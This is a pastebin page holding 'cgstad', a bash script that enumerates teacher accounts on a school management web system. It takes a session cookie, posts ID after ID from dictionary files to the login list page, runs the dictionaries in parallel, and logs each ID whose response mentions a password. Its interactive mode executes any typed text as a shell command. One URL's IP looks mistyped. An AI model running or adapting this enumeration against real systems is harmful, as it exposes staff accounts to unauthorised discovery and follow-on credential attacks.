cgstad

From Gentle Cat, 7 Years ago, written in Plain Text, viewed 670 times.
URL https://code.nat.moe/view/ecf9e761 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgstad - Country Gadern School Teacher Account Dectect
  4. # cgstad is a free software, maintaince by MagicNAT Networing
  5. # Version 0.1 (C) MagicNAT Networking
  6.  
  7. ID_DICT="./dicts/id.dict"
  8. MP_ID_DICTS="./dicts/ids/"
  9. SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%BD%CC%CA%A6%CD%F8%D2%B3"
  10. AUTH_URL="http://137.0.0.1:8080/mis/info/list.asp"
  11. SSID_FILENAME="./.ssid.cookie"
  12. DECT_SAVE="./tea_acct.txt"
  13.  
  14. function update_ssid {
  15.         echo -n "Updateing ssid... "
  16.         curl -c $SSID_FILENAME $SSID_GEN_URL > /dev/null 2> /dev/null
  17.         [[ $? == "0" ]] && echo "OK"
  18.         [[ $? != "0" ]] && echo "Failed!" && exit 1
  19. }
  20.  
  21. function try_acct {
  22.         [[ -z $1 ]] && echo "try_acct: Missing parameters" && return 1
  23.         [[ ! -e $SSID_FILENAME ]] && echo "try_acct: Missing ssid file" && return 1
  24.         [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&hd=002" $AUTH_URL 2> /dev/null | iconv -f gb2312 -t utf-8 | grep 密码) ]] && echo "true" && return 0
  25.         echo "false" && return 1
  26. }
  27.  
  28. function writ_acct {
  29.         [[ -z $1 ]] && echo "writ_acct: Missing parameters" && return 1
  30.         MSG="[$(date)] FIND: ID $1"
  31.         echo $MSG
  32.         echo $MSG >> $DECT_SAVE
  33. }
  34.  
  35. function dect_acct {
  36.         [[ ! -e $ID_DICT ]] && echo "dect_acct: Missing dict file" && return 1
  37.         for id in $(cat $ID_DICT)
  38.         do
  39.                 [[ $(try_acct $id) == "true" ]] && writ_acct $id
  40.         done
  41. }
  42.  
  43. function dect_acct_mp {
  44.         [[ ! -e $MP_ID_DICTS ]] && echo "dect_acct_mp: Missing dict files" && return 1
  45.         for dict in $(ls $MP_ID_DICTS)
  46.         do
  47.                 dect_acct_mp_core $MP_ID_DICTS$dict &
  48.         done
  49. }
  50.  
  51. function dect_acct_mp_core {
  52.         [[ -z $1 ]] && echo "dect_acct_mp_core: Missing parameter" && return 1
  53.         [[ ! -e $1 ]] && echo "dect_acct_mp_core: Missing dict file" && return 1
  54.         for id in $(cat $1)
  55.         do
  56.                 [[ $(try_acct $id) == "true" ]] && writ_acct $id
  57.         done
  58.  
  59. }
  60.  
  61. function interactive {
  62.         update_ssid
  63.         echo "cgstad 0.1 (Interactive mode) "
  64.         echo "Copyright 2014 MagicNAT Networking"
  65.         echo "This is free software with ABSOLUTELY NO WARRANTY."
  66.         while true
  67.         do
  68.                 echo -n "cgstad> "; read cmd;
  69.                 $cmd
  70.         done
  71. }
  72.  
  73. function main {
  74.         [[ -z $* ]] && interactive
  75.         $*
  76. }
  77.  
  78. main $*

Reply to "cgstad"

Here you can reply to the paste above

captcha